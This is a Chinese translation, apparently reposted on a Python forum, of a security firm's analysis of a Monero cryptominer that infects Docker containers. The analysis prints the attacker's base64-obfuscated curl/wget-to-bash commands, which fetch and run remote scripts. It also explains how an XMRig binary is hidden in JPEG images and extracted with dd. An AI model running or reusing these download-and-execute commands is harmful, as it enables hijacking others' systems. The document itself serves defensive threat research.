Py学习  »  docker

通过Docker容器挖掘加密货币

维他命安全 • 2 年前 • 398 次点击  

概述

现今,加密货币已经成为网络犯罪分子的焦点。到目前为止,在网络犯罪分子中最受欢迎的加密货币是Monero。在过去的一年中,Monero的价格上涨了550%左右,网络犯罪分子正在寻找长期的Monero挖矿活动,以获得丰厚的利润。

加密货币挖掘软件正在飞速发展,因为在挖矿过程中许多有害程序对受感染的系统似乎没有明显的恶意行为,当然,挖矿成本由不知情的设备所有者承担,而网络犯罪分子则可从中获利。



我们最近检测到一个影响Docker Linux系统的加密货币挖掘活动。Docker软件平台由于能够在资源节约型小型容器中推出应用程序而在企业中获得了巨大的发展,再加上许多安全解决方案都无法查看容器镜像这一事实,使其成为低风险、金融驱动的攻击活动的理想目标。

我们检测到的挖矿活动中并没有使用明显的漏洞利用组件,而是使用一些简单的混淆方法。这些攻击者显然并不期望在Docker容器上找到高级的端点保护。如下所述,该矿工调用了一些bash脚本,然后使用隐写术来躲避传统的AV或临时检查。


 

技术分析

我们的警戒团队检测到一个威胁行为者(Threat Actor,TA),他最初获得了对Docker容器的访问权限。初始序列是由TA执行一个脚本开始的。

sh -c echo'aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL2JIb0wyVwo='|base64 -d|(xargs curl -fsSL ||xargs wget -q -O)|bash

 

这将从hxxps//ideone[.]com/plain/bHoL2W下载shell脚本。

从该URL下载的第二阶段是另一个简单的Shell脚本。

#!/bin/bash

a=$(base64 -d <<< "aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL0diN0JkMgo=")

(curl -fsSL $a||wget -q -O- $a)|bash

 

a变量最初对base64格式的字符串aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL0diN0JkMgo进行解码,转换为https://ideone[.]com/plain/Gb7Bd2。然后解码后的URL被传递给curl命令,该命令使用-f 来实现静默失败,以便在服务器发生错误时不输出任何错误信息,使用-sS来抑制进度表,但在整个命令失败时仍然报告错误,使用-L来确保重定向被遵循。如果使用curl命令失败,脚本会切换到wget,它是一个类似的命令行工具,用于从网上下载文件。-q参数表示不显示指令执行过程,使wget安静运行且不发送任何输出,而-O则将获取的文件输出到stdout。无论是curl还是wget的输出,都会通过管道传递给bash立即执行。

这个输出是一个有174行代码的shell脚本。在下面的章节中,我们将分析这个shell脚本。

 

 

从Shell到挖矿

脚本的前16行是纯文本脚本命令,但在第17-19行有base64编码的模式。在第17行中,是与上文中描述的相同的base64编码的字符串,TA最初执行了这个脚本。该命令的重复可以看出,这个TA编写恶意脚本的经验还处于起步阶段,因为还有更优雅的方法可以做到这一点。


在第18行和第19行,TA使用了一个巧妙的技巧,通过下载一个JPEG文件来绕过检测。第18行的base64解码为https://i.ibb[.]co/6PdZ0NT/he.jpg,第19行的base64解码为https://i.ibb[.]co/phwmnCb/he32.jpg。


第一个不寻常的线索是JPEG的大小为6MB。首先,我通过在Cerbero套件中加载JPG来分析它,并确认了我的结论,TA使用了隐写术。之后,通过查看文件内容,可以看到JPEG文件使用了一个JFIF头标识符,但我知道这个恶意软件是要在Linux系统上运行的,因此我将搜索454c46标记(ELF magic number),这标志着ELF二进制文件(Linux的主要可执行文件格式)的开始。



 

回到shell脚本,让我们看看TA是如何提取和使用图像中的ELF二进制文件的。

我们可以看到,TA使用dd命令行工具,其主要目的是转换和复制文件。它复制了原始的JPEG文件,然后输出该文件,但在输出时跳过JPEG块,skip=14497,并将输出块的大小设置为Bytes bs=1。


该if语句检查${ARCH}x = "x86_64x",然后查找${ARCH}x = "i686x",它使用he_32并最终运行该命令。代码中的下一行明确指出,我们正在处理XMRig。


为了确认,我运行了以下命令:

dd if=he_save_jpg of=he_save skip=14497bs=1

 

然后将he_save加载到Ghidra(NSA开源逆向工具)。这表明从图像中提取的ELF二进制文件是XMRig 6.6.2,该文件创建于2020年12月17日,比在野发现的原始shell脚本更早一个月。 



结论

在过去的几年中,攻击者致力于从保护不善的端点和云容器实例中寻找低风险的回报,导致企业中的加密矿工的数量飙升。挖矿恶意软件影响了系统性能,增加了企业的计算能力成本,在某些情况下可能是进一步感染的先兆。

由于容器服务的可见性较差,因此Docker容器保护对于打击加密矿工至关重要。SentinelOne XDR在云工作负载以及传统端点上检测到上述恶意程序和许多其它cryptominer变体。

 

 

IOC

SHA256

70144c33b1723087f4df98ca2c3aa39a6cc80a9dcee376562e2e65f07b020c9e

5c21586e4fa48a5130d11e43ee332327e1bb76ad45b07d075a5ab350c7981c71

e808760ffb94d970fb9a224c3e1093e5c8999dd736936d6290b28741abc9c81f

 

SHA1

c7bdffdeb5bee04c0effc6a7bfde64d4fef9e268

423322dd42c5676d8770a94257d4008a57000129

ef1a8802b01d2b39017eb3717fa83cf9db5601a7

 

URLs

hxxps://ideone[.]com/plain/bHoL2W

hxxps://ideone[.]com/plain/Gb7Bd2

hxxps://i.ibb[.]co/6PdZ0NT/he.jpg

hxxps://i.ibb[.]co/phwmnCb/he32.jpg

  

 

原文连接:

https://labs.sentinelone.com/caught-in-the-cloud-how-a-monero-cryptominer-exploits-docker-containers/

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/115019
 
398 次点击